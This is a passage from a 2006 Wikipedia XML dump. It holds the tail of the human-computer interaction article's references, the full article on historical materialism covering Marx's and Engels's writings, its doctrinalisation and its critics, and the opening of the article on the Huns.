* William S. Bainbridge, ed. (2004): ''Berkshire Encyclopedia of Human-Computer Interaction''. 2 volumes. Great Barrington, MA: Berkshire. http://www.berkshirehci.com. ISBN 0-9743091-2-5
* [[Stuart K. Card]], [[Thomas P. Moran]], [[Allen Newell]]: ''The Psychology of Human-Computer Interaction''. Erlbaum, Hillsdale 1983 ISBN 0-89859-243-7
* Alan Dix, Janet Finlay, Gregory D. Abowd, and Russell Beale (2003): ''Human-Computer Interaction''. 3rd Edition.  Prentice Hall, 2003.  http://hcibook.com/e3/  ISBN 0-13046-109-1
* Brad A. Myers: ''A brief history of human-computer interaction technology.'' Interactions 5(2):44-54, 1998, ISSN 1072-5520 [[Association for Computing Machinery|ACM]] Press. http://doi.acm.org/10.1145/274430.274436
* [[Jakob Nielsen (usability consultant)|Jakob Nielsen]]: ''Usability Engineering''. Academic Press, Boston 1993 ISBN 0-12-518405-0
* [[Donald Norman|Donald A. Norman]]: ''The Psychology of Everyday Things''. Basic Books, New York 1988 ISBN 0-465-06709-3
* [[Jef Raskin]]: ''The humane interface. New directions for designing interactive systems''. Addison-Wesley, Boston 2000 ISBN 0-201-37937-6
* [[Ben Shneiderman]]: ''Designing the User Interface. Strategies for Effective Human-Computer Interaction''. 3. ed. Addison Wesley Longman, Reading 1998 ISBN 0-201-69497-2
* [[Bruce Tognazzini]]: ''Tog on Interface''. Addison-Wesley, Reading 1991 ISBN 0-201-60842-1
* [[Julie A. Jacko]] and [[Andrew Sears]] (Eds.). (2003). Handbook for Human Computer Interaction. Mahwah: Lawrence Erlbaum &amp; Associates. ISBN 0-8058-4468-6



==External links==
* [http://www.acm.org/sigchi/ ACM SIGCHI] Special Interest Group on Computer-Human Interaction
* [http://www.chisig.org/ Australian Special Interest Group in CHI]
* [http://sigchi.org/cdg/cdg2.html#2_1 ACM SIGCHI's definition of HCI]
* [http://www.hcibib.org/readings.html List of books on HCI at HCI Bibliography]
* [http://www.berkshirepublishing.com/hcipc/ Database of HCI in Popular Culture (movies, books, drama, television, and music)]
* [http://www.usabilityviews.com/ Usability Views]
* [http://www.baddesigns.com Bad Human Factors Designs]
* [http://www.useit.com/ useit.com: Jakob Nielsen on Usability and Web Design]
* [http://www.usernomics.com/user-interface-design.html HCI and User Interface Design Resources.]
* [http://www.ok-cancel.com/ OK/Cancel] A popular online comic strip targeted at human-computer interaction experts.
* [http://www.interaction-design.org/ Interaction-Design.org] - an open-content, peer-reviewed Encyclopedia covering terms from the disciplines of HCI, Interaction Design, Design, [[Human factors]], [[Usability]], [[Information architecture]], and related fields.
* [http://hcc.cc.gatech.edu/ Human-Centered Computing Education Digital Library] - a repository of freely-available [[Human-Centered Computing]] and HCI educational materials.  Includes lectures, syllabi, videos, sample tests and assignments from a variety of institutions.
* [http://tc.eserver.org/dir/Human-Computer-Interaction EServer TC Library: HCI]
* [http://www.userinterfacehallofshame.com UI Hall of Shame] A blog which analyzes examples of poor user interface design.


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  <page>
    <title>Historical materialism</title>
    <id>13518</id>
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      <timestamp>2006-02-28T09:59:08Z</timestamp>
      <contributor>
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      <text xml:space="preserve">{{communism}}
'''Historical materialism''' (or what [[Karl Marx|Marx]] himself called ''&quot;the materialist conception of history&quot;'' - ''materialistische Geschichtsauffassung'') is a [[social theory]] and an approach to the study of [[history]] and [[sociology]], normally considered the intellectual basis of [[Marxism]]. 

Historical materialism looks for the causes of developments and changes in human history in  [[economics|economic]], [[technology|technological]], and more broadly, material factors, as well as the clashes of material interests among tribes, social classes and nations. 

It can be contrasted with other interpretations of history (which Marxists might call [[idealism]]s) which attribute the causes of historical and social change primarily to [[politics]], [[philosophy]], [[art]], [[God]], or any number of other manifestations of consciousness. It centers on the notion that human life is forever changing, so that even [[capitalism]] is a temporary [[institution]] that emerged a few centuries ago and will someday be overthrown. &lt;br&gt;

==Development of the materialist outlook==

Marx and [[Friedrich Engels]] first developed their outlook on the dynamics of history as young men, in a series of early critiques of the [[idealist]] philosophers of their age, including ''The Holy Family'', ''The Poverty of Philosophy'', the ''1844 Paris Manuscipts'', ''The Condition of the Working Class in England'', but more especially ''The German Ideology'' and the ''Theses on Feuerbach''. An excellent bit of rhetoric in the ''Communist Manifesto'' sums up the gist of it:

&quot;Does it require deep intuition to comprehend that man’s ideas, views, and conception, in one word, man’s consciousness, changes with every change in the conditions of his material existence, in his social relations and in his social life? What else does the history of ideas prove, than that intellectual production changes its character in proportion as material production is changed? The ruling ideas of each age have ever been the ideas of its ruling class.&quot; 

After writing the ''Communist Manifesto'', Marx provided a short summary of his view in his 1859 Preface to ''A Contribution to the Critique of Political Economy'', reproduced here:

&quot;The general conclusion at which I arrived and which, once reached, became the guiding principle of my studies can be summarised as follows. In the social production of their existence, men inevitably enter into definite relations, which are independent of their will, namely [[relations of production]] appropriate to a given stage in the development of their material forces of production. The totality of these relations of production constitutes the economic structure of society, the real foundation, on which arises a legal and political [[superstructure]] and to which correspond definite forms of [[social]] consciousness. The [[mode of production]] of material life conditions the general process of social, political and intellectual life. It is not the consciousness of men that determines their existence, but their social existence that determines their consciousness. At a certain stage of development, the material [[productive forces]] of society come into conflict with the existing relations of production or — this merely expresses the same thing in legal terms — with the property relations within the framework of which they have operated hitherto. From forms of development of the productive forces these relations turn into their fetters. Then begins an era of social [[revolution]]. The changes in the economic foundation lead sooner or later to the transformation of the whole immense superstructure. In studying such transformations it is always necessary to distinguish between the material transformation of the economic conditions of production, which can be determined with the precision of [[natural science]], and the legal, political, religious, artistic or philosophic — in short, [[ideological]] forms in which men become conscious of this conflict and fight it out. Just as one does not judge an individual by what he thinks about himself, so one cannot judge such a period of transformation by its consciousness, but, on the contrary, this consciousness must be explained from the contradictions of material life, from the conflict existing between the social forces of production and the relations of production. No social order is ever destroyed before all the productive forces for which it is sufficient have been developed, and new superior relations of production never replace older ones before the material conditions for their existence have matured within the framework of the old society. Mankind thus inevitably sets itself only such tasks as it is able to solve, since closer examination will always show that the problem itself arises only when the material conditions for its solution are already present or at least in the course of formation. In broad outline, the Asiatic, ancient, feudal and modern [[bourgeois]] modes of production may be designated as epochs marking progress in the economic development of society. The bourgeois mode of production is the last antagonistic form of the social process of production — antagonistic not in the sense of individual antagonism but of an antagonism that emanates from the individuals' social conditions of existence — but the productive forces developing within bourgeois society create also the material conditions for a solution of this antagonism. The prehistory of human society accordingly closes with this social formation.&quot;
 
[[Lenin]] later commented:

&quot;This idea of materialism in sociology was in itself a stroke of genius. Naturally, for the time being it was only a hypothesis, but one which first created the possibility of a strictly scientific approach to historical and social problems. (...)
Then, however, Marx, who had expressed this hypothesis in the [1840s], set out to study the factual (nota bene) material. He took one of the social-economic formations— the system of commodity production—and on the basis of a vast mass of data (which he studied for not less than twenty five years) gave a most detailed analysis of the laws governing the functioning of this formation and its development.&quot; (V. I. Lenin, What the Friends of the People Are and How they Fight the Social Democrats (1894)).

http://www.marxists.org/archive/lenin/works/1894/friends/01.htm#v01zz99h-131-GUESS

==Disclaimers==

Marx himself took care to indicate that he was only proposing a ''guideline to historical research'' (''Leitfaden'' or ''Auffassung''), and was not providing any substantive &quot;theory of history&quot; or &quot;grand philosophy of history&quot;, let alone a &quot;master-key to history&quot;. Numerous times, he and Engels expressed irritation with dilettante academics who sought to knock up their skimpy historical knowledge as quickly as possible into some grand theoretical system that would explain &quot;everything&quot; about history. To their great annoyance, the materialist outlook was used as an excuse for ''not'' studying history.

In the 1872 Preface to the French edition of [[Das Kapital]] Vol. 1, Marx also emphasised that &quot;There is no royal road to science, and only those who do not dread the fatiguing climb of its steep paths have a chance of gaining its luminous summits&quot;. Reaching a scientific understanding was hard work. Conscientious, painstaking research was required, instead of philosophical speculation and unwarranted, sweeping generalisations. 

But having abandoned abstract philosophical speculation in his youth, Marx himself showed great reluctance during the rest of his life about offering any generalities or universal truths about human existence or human history. The first explicit and systematic summary of the materialist interpretation of history published (''Anti-Dühring'')was written by Frederick Engels.

One of the aims of Engels's polemic ''Herr Eugen Dühring's Revolution in Science'' (written with Marx's approval) was to ridicule the easy &quot;world schematism&quot; of philosophers, who invented the latest wisdom from  behind their writing desks. Towards the end of his life, in 1877, Marx wrote a letter to editor of the Russian paper ''Otetchestvennye Zapisky'', which significantly contained the following disclaimer:

&quot;(...) If Russia is tending to become a capitalist nation after the example of the Western European countries, and during the last years she has been taking a lot of trouble in this direction - she will not succeed without having first transformed a good part of her peasants into proletarians; and after that, once taken to the bosom of the capitalist regime, she will experience its pitiless laws like other profane peoples. That is all. But that is not enough for my critic. He feels himself obliged to metamorphose
my historical sketch of the genesis of capitalism in Western Europe into an historico-philosophic theory of the marche generale imposed by fate upon every people, whatever the historic circumstances in which it finds itself, in order that it may ultimately arrive at the form of economy which will ensure, together with the greatest expansion of the productive powers of
social labour, the most complete development of man. But I beg his pardon. (He is both honouring and shaming me too much.)&quot;

Marx goes on to illustrate how the same factors can in different historical contexts produce very different results, so that quick and easy generalisations are not really possible. To indicate how seriously Marx took research, it is interesting to note that when he died, his estate contained several cubic metres of Russian statistical publications (it was, as the old Marx observed, in Russia that his ideas gained most influence).

Contrary to what [[Karl Popper]] later falsely alleged, Marx &amp; Engels did not want to pose as &quot;prophets of the course of history&quot; and they rejected [[historicism]]. Already in their polemic ''The Holy Family'', they had stated that &quot;History does nothing, possesses no enormous wealth, fights no battles. It is rather man, the real, living man, who does everything, possesses, fights. It is not History, as if she were a person apart, who uses men as a means to
work out her purposes, but history itself is nothing but the activity of men pursuing their purposes.&quot;

But what is true is that insofar Marx and Engels regarded historical processes as [[law]]-governed processes, the possible future directions of historical development were to a great extent ''limited'' and ''conditioned'' by what happened before. Retrospectively, historical processes could be understood to have happened by ''necessity'' in certain ways and not others, and to some extent at least, the most likely variants of the future could be specified on the basis of careful study of the known facts.

Towards the end of his life, Engels commented several times about the [[abuse]] of historical materialism.
In a letter to Conrad Schmidt dated [[August 5]] [[1890]], he stated that &quot;And if this man (i.e. [[Paul Barth]]) has not yet discovered that while the material mode of existence is the ''primum agens''  this does not preclude the ideological spheres from reacting upon it in their turn, though with a secondary effect, he cannot possibly have understood the subject he is writing about. (...) The materialist conception of history has a lot of [dangerous friends] nowadays, to whom it serves as an excuse for not studying history. Just as Marx used to say, commenting on the French &quot;Marxists&quot; of the late 70s: &quot;All I know is that I am not a Marxist.&quot; (...) In general, the word &quot;materialistic&quot; serves many of the younger writers in Germany as a mere phrase with which anything and everything is labeled without further study, that is, they stick on this label and then consider the question disposed of. But our conception of history is above all a guide to study, not a lever for construction after the manner of the Hegelian. All history must be studied afresh, the conditions of existence of the different formations of society must be examined individually before the attempt is made to deduce them from the political, civil law, aesthetic, philosophic, religious, etc., views corresponding to them. Up to now but little has been done here because only a few people have got down to it seriously. In this field we can utilize heaps of help, it is immensely big, anyone who will work seriously can achieve much and distinguish himself. But instead of this too many of the younger Germans simply make use of the phrase historical materialism (and everything can be turned into a phrase) only in order to get their own relatively scanty historical knowledge — for economic history is still in its swaddling clothes! — constructed into a neat system as quickly as possible, and they then deem themselves something very tremendous. And after that a Barth can come along and attack the thing itself, which in his circle has indeed been degraded to a mere phrase.&quot;

Source: http://www.marxists.org/archive/marx/works/1890/letters/90_08_05.htm 

Finally, in a letter to Franz Mehring, Frederick Engels dated [[14 July]] [[1893]], Engels stated:

&quot;...there is only one other point lacking, which, however, Marx and I always failed to stress enough in our writings and in regard to which we are all equally guilty. That is to say, we all laid, and were bound to lay, the main emphasis, in the first place, on the derivation of political, juridical and other ideological notions, and of actions arising through the medium of these notions, from basic economic facts. But in so doing we neglected the formal side — the ways and means by which these notions, etc., come about — for the sake of the content. This has given our adversaries a welcome opportunity for misunderstandings, of which Paul Barth is a striking example.&quot;

Source: http://www.marxists.org/archive/marx/works/1893/letters/93_07_14.htm

==Historical materialism as doctrine==

Nevertheless, at least from the 1870s the pressure towards the doctrinalisation of Marx's interpretation of history became increasingly strong, for several reasons. 

(1) Marx &amp; Engels did aim to increase their own political influence in the [[labor movement]] and [[socialist]] movement, and for this they needed a popular [[ideology]] or [[doctrine]] which people could easily understand and act upon. Both men were quite capable of splendid political rhetoric and, occasionally, of making sweeping generalisations 

(2) Attacks by critics, academics and competitors in the [[socialist]] movement also forced them to systematise their ideas; [[generalisations]] from [[experience]] and research demanded a more explicit coherent theoretical framework. 

(3) Christian religious and moral doctrine was still very influential among the working classes, who mostly lacked access to a scientific education, and this created the political need or pressure to articulate a complete ''alternative belief system'' or ''scientific world outlook''. Thus, Engels sought to distinguish between religious-utopian and practical-scientific [[socialism]]. 

These three factors are the original sources of the [[tension]] between [[science]] and [[ideology]] in [[Marxism]]. Engels, who was the first great &quot;Marxist systematiser&quot;, tried to take a [[nuanced]] approach in his writings and popularise the materialist approach without [[vulgarisation]]. 

In a Preface to the English edition of his pamphlet ''Socialism: Utopian and Scientific'' (completed in 1880), Frederick Engels indicated that he accepted the usage of the term &quot;historical materialism&quot;. Recalling the early days of the new interpretation of history, he stated:
 
&quot;We, at that time, were all materialists, or, at least, very advanced free-thinkers, and to us it appeared inconceivable that almost all educated people in England should believe in all sorts of impossible miracles, and that even geologists like Buckland and Mantell should contort the facts of their science so as not to clash too much with the myths of the book of Genesis; while, in order to find people who dared to use their own intellectual faculties with regard to religious matters, you had to go amongst the uneducated, the &quot;great unwashed&quot;, as they were then called, the working people, especially the Owenite Socialists&quot;.

http://www.marxists.org/archive/marx/works/1880/soc-utop/int-mat.htm

In a foreword to his essay ''Ludwig Feuerbach and the End of Classical'' ''German Philosophy'' (1886), three years after Marx's death, Engels claimed confidently that &quot;In the meantime, the Marxist world outlook has found representatives far beyond the boundaries of Germany and Europe and in all the literary languages of the world.&quot; 

http://www.marxists.org/archive/marx/works/1886/ludwig-feuerbach/foreword.htm

In his old age, Engels speculated about a new [[cosmology]] or [[ontology]] which would show the principles of [[dialectics]] to be universal features of reality. He also drafted an article on ''The part played by labour in the transition from Ape to Man'', apparently a theory of [[anthropogenesis]] which would integrate the insights of Marx and [[Charles Darwin]] http://www.marxists.org/archive/marx/works/1876/part-played-labour/
(This is discussed by Charles Woolfson in ''The Labour Theory of Culture: a Re-examination of Engels Theory of Human Origins).

At the very least, [[Marxism]] had now been born, and &quot;historical materialism&quot; had become a distinct philosophical doctrine, subsequently elaborated and systematised by intellectuals like [[Eduard Bernstein]], [[Karl Kautsky]], [[Georgi Plekhanov]] and [[Nikolai Bukharin]]. Even so, up to the 1930s many of Marx's earlier works were still unknown, and in reality most self-styled Marxists had not read beyond Capital Vol. 1. [[Isaac Deutscher]] provides an anecdote about the knowledge of Marx in that era:

&quot;''Capital'' is a tough nut to crack, opined [[Ignacy Daszyński]], one of the most wellknown socialist &quot;people's tribunes&quot; around the turn of the 20th century, but anyhow he had not read it. But, he said, [[Karl Kautsky]] had read it, and written a popular summary of the first volume. He hadn't read this either, but [[Kazimierz Kelles-Krauz]], the party theoretician, had read Kautsky's pamphlet and summarised it. He also had not read Kelles-Krauz's text, but the financial expert of the party, [[Hermann Diamand]], had read it and had told him, i.e. Daszynski, everything about it&quot;.
http://www.rote-ruhr-uni.org/seminare/lesekreis.shtml

After [[Lenin]]'s death in 1924, Marxism was transformed into [[Marxism-Leninism]] and from there to [[Maoism]] or Marxism-Leninism-Mao Ze Dong Thought in [[China]] which some regard as the &quot;true doctrine&quot; and others as a &quot;state religion&quot;.

In the early years of the 20th century, historical materialism was often treated by socialist writers as interchangeable with [[dialectical materialism]], a formulation never used by [[Friedrich Engels]] however. According to many Marxists influenced by Soviet Marxism, historical materialism is a specifically [[sociology|sociological]] method, while dialectical materialism refers to a more general, abstract, [[philosophy]]. The Soviet orthodox Marxist tradition, influential for half a century, based itself on [[Joseph Stalin]]'s pamphlet ''Dialectical and Historical materialism'' and on textbooks issued by the &quot;Institute of Marxism-Leninism of the Central Committee of the Communist Party of the Soviet Union&quot;.

==Criticisms==

The main serious objection advanced by the critics of Marxism and of historical materialism is that as soon as Marxists really begin to study the historical facts, there is ''either'' no longer anything distinctively &quot;Marxist&quot; about what they do, ''or else'' the facts are twisted to fit with a preconceived dogma. 

In the worst case, this arguably leads to the [[totalitarian]] temptation to try and force the course of history in a particular direction, based on a false belief that one &quot;knows&quot; the way history is moving. The idea here is that the doctrine (or [[Marxism]]) really gets in the way of genuinely scientific historical research, and leads to political projects which run roughshod over the [[morals]], [[interests]] and [[beliefs]] of the people. 

In reply, Marxists have pointed to historical analyses by for example [[Marx]], [[Engels]], [[Lenin]], [[Rosa Luxemburg]], [[Leon Trotsky]], [[Isaac Deutscher]], [[Eric Hobsbawm]], [[Christopher Hill]], [[Robin Blackburn]] and [[Perry Anderson]] among many others as valid examples of the application of historical materialism to the historical facts. They have also pointed to the social and material [[progress]] in many countries which would not have occurred without Marxist movements. In [[postmodern]] theory, however, the very notion of historical [[progress]] is contested.

Underlying the dispute among historians are the different assumptions made about the definition or concept of &quot;[[history]]&quot; and &quot;[[historiography]]&quot;. 
Different historians take a different view of what it is all about, and what the possibilities of historical and social scientific [[knowledge]] are.

Historians also differ greatly about questions such as(1) the kinds of generalisations which can be validly made about history, (2) about the kinds of [[causal]] connections which can validly be postulated in history, and (3) about the validity of different kinds of [[explanation]] of historical development. 

Different theoretical frameworks for historical research also lead to different questions being asked about the historical [[facts]]. ''All'' historians operate with guiding assumptions in their research - assumptions which may be modified by their results - even although these assumptions (or biases) may not be made explicit. 

Therefore, probably the best way to assess the merits of historical materialism is to look at the actual results of the historical research done by the Marxists, the semi-Marxists (such as the [[Annales]] school) and the non-Marxists who claim to have been inspired by historical materialism. 

When this is done, it is clear that historical materialism has been a very fertile and productive research hypothesis. To be sure, it has often been dogmatically interpreted, but it has also stimulated pathbreaking research that put the understanding of history in a new light.

[[Göran Therborn]] has argued that the method of historical materialism should be applied to historical materialism as intellectual tradition, and to the history of Marxism itself.

In the early 21st century, the main attacks on the materialist interpretation of history come from theorists of [[sociobiology]], who theorize that human history can be reduced to biological factors.

==Marxist beliefs about history==

According to Marxist theorists, history develops in accordance with the following observations:

#Social progress is driven by progress in the material, productive forces a society has at its disposal ([[technology]], [[labour (economics)|labor]], [[capital goods]], etc.)
#Humans are inevitably involved in production relations (roughly speaking, economic relationships or [[institution]]s), which constitute our most decisive [[social relations]].
#Production relations progress, with a degree of inevitability, following and corresponding to the development of the [[productive forces]].
#[[Relations of production]] help determine the degree and types of the development of the forces of production. For example, capitalism tends to increase the rate  at which the forces develop and stresses the [[capital accumulation|accumulation of capital]].  
#Both [[productive forces]] and production relations progress independently of mankind's strategic intentions or will.
#The [[superstructure]] -- the cultural and institutional features of a society, its ideological materials -- is ultimately an expression of the [[mode of production]] (which combines both the forces and [[relations of production]]) on which the society is founded.
#Every type of [[state]] is a powerful [[institution]] of the ruling class; the state is an instrument which one class uses to secure its rule and enforce its preferred production relations (and its [[exploitation]]) onto society. 
#State power is usually only transferred from one class to another by social and political upheaval.
#When a given style of production relations no longer supports further progress in the productive forces, either further progress is strangled, or 'revolution' must occur.
#The actual historical process is not predetermined but depends on the class struggle, especially the organization and consciousness of the [[working class]]. 

This sketch is abstract - real historical understanding needed for developing political strategy and tactics must involve &quot;concrete analysis of concrete conditions&quot; ([[V.I. Lenin]]).

==Alienation and freedom==

[[Hunter-gatherer]] societies were structured so that the economic forces and the political forces were one and the same. The elements of force and relation operated together, harmoniously. In the [[feudal society]], the political forces of the kings and nobility had their relations with the economic forces of the villages through [[serfdom]]. The serfs, although not free, were tied to both forces and, thus, not completely alienated.  [[Capitalism]], Marx argued, completely separates the economic and political forces, leaving them to have relations through a limiting [[government]]. He takes the state to be a sign of this separation - it exists to manage the massive conflicts of interest which arise between classes in all those societies based on property relations.

==Marx and Wakefield==

In [[Das Kapital]], Marx took from [[Edward Gibbon Wakefield]]'s work the example of an emigré to Australia, to illustrate the concept of [[relations of production]]:

&quot;...Wakefield discovered that in the Colonies, property in money, means of subsistence, machines, and other means of production, does not as yet stamp a man as a capitalist if there be wanting the correlative — the wage-worker, the other man who is compelled to sell himself of his own free-will. He discovered that capital is not a thing, but a social relation between persons, established by the instrumentality of things. Mr. Peel, he moans, took with him from England to Swan River, West Australia, means of subsistence and of production to the amount of £50,000. Mr. Peel had the foresight to bring with him, besides, 3,000 persons of the working-class, men, women, and children. Once arrived at his destination, 'Mr. Peel was left without a servant to make his bed or fetch him water from the river.'  Unhappy Mr. Peel who provided for everything except the export of English modes of production to Swan River!&quot; 

The workers deserted Mr Peel, despite all his wealth, because land was available freely and there was no state, legislation or economic necessity compelling them to work for him - they were free to work on own account as they chose, because the English [[social relations]] binding them to the status of servants were absent. 

Source: [http://www.marxists.org/archive/marx/works/1867-c1/ch33.htm ''Capital'', vol. I, ch. 33, courtesy of www.marxists.org]

==A revision of historical materialism?==

Several scholars have argued that historical materialism ought to be revised in the light of modern scientific knowledge. [[Jürgen Habermas]] believes historical materialism &quot;needs revision in many respects&quot;, especially because it has ignored the significance of `communicative action'. [[Leszek Nowak]] argues explicitly for a post-Marxist historical materialism.

==Commentaries on different aspects of historical and dialectical materialism==

*[[Franz Mehring]], On Historical Materialism (classic statement by a contemporary and friend of Marx &amp; Engels)http://www.marxists.org/archive/mehring/1893/histmat/index.htm
*Z.A. Jordan, The evolution of Dialectical Materialism (good survey)
http://marxmyths.org/jordan/article.htm
*Gustav A. Wetter, Dialectical Materialism: a Historical and Systematic Survey of Philosophy in the Soviet Union. (alternative survey)
*Loren R. Graham, Science Philosophy and Human Behavior in the Soviet Union. (sympathetically-critical of dialectical materialism)
*[[George Novack]], Understanding History: Marxist Essays (Trotskyist interpretations of problems of history)
http://www.marxists.org/archive/novack/index.htm
*[[H. B. Acton]], The Illusion of the Epoch. (critical account which focusses on incoherencies in the thought of Marx, Engels and Lenin)
*[[Gerald Cohen]], Karl Marx's Theory of History: A Defence. (influential analytical Marxist interpretation)
*Helmut Fleischer, Marxism and History. (good reply to false interpretations of Marx's view of history)
*[[E.P. Thompson]], The Poverty of Theory. (polemic which ridicules theorists of history who do not actually study history)
*[http://www.amazon.co.uk/exec/obidos/ASIN/0415316987 Karl Marx (Arguments of the Philiosophers series)], Routledge 2004 by [[Allen W Wood]] - delves into misinterpretations of Marx including the substitution of &quot;Historical materialism&quot; by Lenin/Engels's concept of [[Dialectical Materialism]]

*William H. Shaw, Marx's theory of history (short survey)
*Johan Witt-Hansen, Historical Materialism: The Method, The Theories. (sees historical materialism as a methodology, and Das Kapital as an application of the method)
*Gordon V. Childe, Man Makes Himself (free interpretation of Marx's idea)
*Leszek Nowak, Property and Power. Towards a non-Marxian Historical Materialism. (attempt to develop a post-Stalinist interpretation of Marx's project) 
*[[Joseph Stalin]], Historical and Dialectical Materialism. (classic statement of Marxist-Leninist doctrine)
http://www.marxists.org/reference/archive/stalin/works/1938/09.htm
*[[Mao Tse Tung]], Four Essays on Philosophy. (standard Maoist reading of Marx's materialism)
http://www.marxists.org/reference/archive/mao/selected-works/index.htm
*Goran Therborn, Science, Class and Society (critical survey of the relationship between sociology and historical materialism)
*[[Ernest Mandel]], Introduction to Marxism. (emphasizes understanding the roots of class society and the state)
*Ernest Mandel, The Place of Marxism in History (modelled on Lenin's &quot;Three components of Marxism&quot; but with an interesting section on the reception and diffusion of Marxism in the world)
*[[Hal Draper]], Karl Marx's Theory of Revolution (4 volumes). (captures the full subtlety of Marx's thought, but at length)
*[[Franz Jakubowski]], Ideology and superstructure. (attempts to provide an alternative to schematic interpretations of historical materialism)
*Wal Suchting, Marx: An Introduction. (good short introduction)
*[[Chris Harman]], A People's History of the World (Marxist view of history according to a leader of the International Socialist Tendency)
*[[Jürgen Habermas]], Communication and the Evolution of Society. (argues historical materialism must be revised to include communicative action)

==Note==
Brill publishers of Leyden publish a journal called &quot;Historical Materialism&quot; which explores different strands of theory in the tradition of Marx, Engels and the Western Marxists.
http://www.brill.nl/m_catalogue_sub6_id17936.htm

A variety of myths and lies about Marx's thought are refuted on this site: http://marxmyths.org/index.shtml

An extensive bibliography of modern commentaries on Marx's thought is available here: http://www.sussex.ac.uk/Users/sefd0/bib/marx.htm

==See also==
* [[Marxism]]
* [[Dialectical materialism]]
* [[Marxist historiography]]
* [[Karl Marx]]

== External links ==
* http://www.marxists.org/archive/lenin/works/1894/friends/01.htm
* http://www.marxists.org/archive/marx/works/1848/communist-manifesto/ch02.htm
* http://www.marxists.org/archive/marx/works/1859/critique-pol-economy/preface.htm

[[Category:Marxism]]
[[Category:Marxist theory]]


[[ast:Materialismu históricu]]
[[de:Historischer Materialismus]]
[[es:Materialismo histórico]]
[[ja:唯物史観]]
[[no:Historisk materialisme]]
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[[sv:Historisk materialism]]</text>
    </revision>
  </page>
  <page>
    <title>Huns</title>
    <id>13519</id>
    <revision>
      <id>42156293</id>
      <timestamp>2006-03-04T04:46:31Z</timestamp>
      <contributor>
        <username>Crculver</username>
        <id>38153</id>
      </contributor>
      <comment>Revert vandalism</comment>
      <text xml:space="preserve">The '''Huns''' were a confederation of [[Eurasian]] tribes of disputed origin, who appeared in [[Europe]] in the [[4th century]].  It has also become a more general term for any number of [[Central Asia]]n [[equestrian nomads]] or semi-nomads. Most of these peoples are recorded by neighboring peoples to the south, east, and west as having occupied Central Asia roughly from the [[4th century]] to the [[6th century]] (with [[North Caucasian Huns|some surviving in the Caucasus]] until the early [[8th century]]).

==Origins and research==
Ever since [[Joseph de Guignes]] in the [[18th century]] identified the Huns with the ''[[Xiongnu]]'' or ''(H)siung-nu'', the research and debate about the Asian ancestral origins of the Huns has continued. 

Recent research has suggested that many of the great [[confederation]]s of steppe warriors were not entirely of the same [[race]], but rather tended to be mixtures of [[Central Asia]]n and eastern [[Caucasoid|Caucasian]]. Also, many [[clan]]s may have claimed to be Huns simply based on the prestige and fame of the name, or it was attributed to them by outsiders describing their common characteristics, believed place of origin, or reputation. Thus it is probably fruitless to speculate on the [[ethnic group|ethnic origins]] and geographic home of the Huns.

The recent [[genetics|genetic]] research which says it is fruitless to speculate on the Huns ethnic origins is in contrast to older theories, which put forward more definitive answers about the Huns' origins — based on [[linguistics]], [[China#Arts.2C_scholarship.2C_and_literature|Chinese records]], [[archaeology]], and other indirect evidence. These theories contain various elements: that the name &quot;Hun&quot; first described a nomadic ruling group of warriors whose ethnic origins were in Central Asia, and was most likely in present day [[Mongolia]]; that they were possibly related to, or included in, the Xiongnu (the theory first suggested by Joseph de Guignes in the 18th century); that the Xiongnu were defeated by the Chinese [[Han Empire]]; and that this is why they left Mongolia and moved westward, eventually invading Europe 300 years later. Indirect evidence includes the transmission of the [[composite bow]] from [[Asia]] to the European countries of [[Hungary]], [[Russia]] and others; and that Europe, at some point, saw an influx of Asian genes. This traditional narrative, of a westward movement of people triggered by a Chinese war, is deeply ingrained in western (and eastern) historiography — but the evidence is often indirect or ambiguous (the Huns left practically no written records), there is no record for 300 years of what happened between the time they left China and arrived in Europe. It is further challenged by the recent genetic research showing little support for a distinct Hun people (even further sparking contention, see &quot;Modern Huns&quot; below).

One of the linguistic debates about the origins of the Huns is centered on [[Kama]], legendary ancestor-King of the Huns. Research is still ongoing to learn if there ever was a ruler among the Xiongnu with that name, and because none to date has been found, some have suggested that the Huns were entirely distinct from the Xiongnu. However, the Huns and/or Xiongnu were both said to have been largely military tribes with very few written records, so the research remains tentative. Additionally, some believe the story of Kama is probably more [[mythology]] than history. 

To avoid confusion, this article will not treat on the Aparni &quot;[[White Huns]]&quot; (Akhun only in modern Turkish) of [[Procopius]], since while he calls them &quot;Huns&quot;, others feel it clear that they were of a different cultural and physical stock.

==History==
[[Image:Huns empire.png|thumb|300px|left|The Hunnish empire stretched from the steppes of Central Asia into modern Germany, and from the Danube river to the Baltic Sea]]

=== 3rd-5th centuries ===
[[Dionysius Periegetes]] talks of people who may be Huns living next to the [[Caspian Sea]] in [[2nd century|second century AD]].  [[Ptolemy]] lists the &quot;Chuni&quot; as among the &quot;Sarmatian&quot; tribes in the second century, although it is not known for certain if these people were the Huns.  The [[fifth century]] [[Armenians|Armenian]] historian [[Moses of Khorene]], in his &quot;History of Armenia,&quot; introduces the ''Hunni'' near the [[Sarmatians]] and goes on to describe how they captured the city of Balk (&quot;Kush&quot; in [[Armenian language|Armenian]]) sometime between [[194]] and 214, which explains why the [[Greeks]] call that city ''Hunuk''.

Following the defeat of the [[Xiongnu]] by the Han, there was a century without significant Xiongnu references, followed by attempts by the Liu family of [[Tiefu]] Xiongnu to establish a state in western [[China]] (see [[Han Zhao]]). [[Chionites]] (OIONO/Xiyon) appear on the scene in [[Transoxiana]] as the [[Kidarite Kingdom|Kidarites]] begin to press on the [[Kushan Empire|Kushans]] in [[320]] and the [[Jie (ethnic group)|Jie]] ethnicity [[Hou]]/[[Later Zhao]] kingdom competes against the Liu family. Back west, the [[Roman Empire|Romans]] invite the Huns east of the [[Ukraine]] to settle [[Pannonia]] in [[361]], and in [[372]], under the leadership of [[Balimir]] their king, the Huns push toward the west and defeat the [[Alans]]. Back east again, in the early [[5th century]] [[Tiefu|Tiefu Xia]] is the last Xiongnu dynasty in Western China and the ''[[Alchon]]'' and ''[[Hunas|Huna]]'' appear in what is now [[Afghanistan]] and [[Pakistan]]. At this point deciphering Hunnish histories for the multi-linguist becomes easier with relatively well-documented events in [[Byzantine Empire|Byzantine]], [[Armenia]]n, [[Iran]]ian, [[India]]n, and Chinese sources.

=== European Huns ===
[[Image:Romanian origins map.PNG|thumb|right|European Huns in the 5th century]]
Huns made an appearance in Europe in the [[4th century|Fourth Century AD]], appearing first north of the Black Sea area, forcing a large number of [[Goths]] to seek refuge in the Roman Empire; then later the Huns appear west of the Carpathians in Pannonia, probably sometime between 400 and 410, which was probably the trigger for the massive migration of Germanic tribes westward across the Rhine in December [[406]].

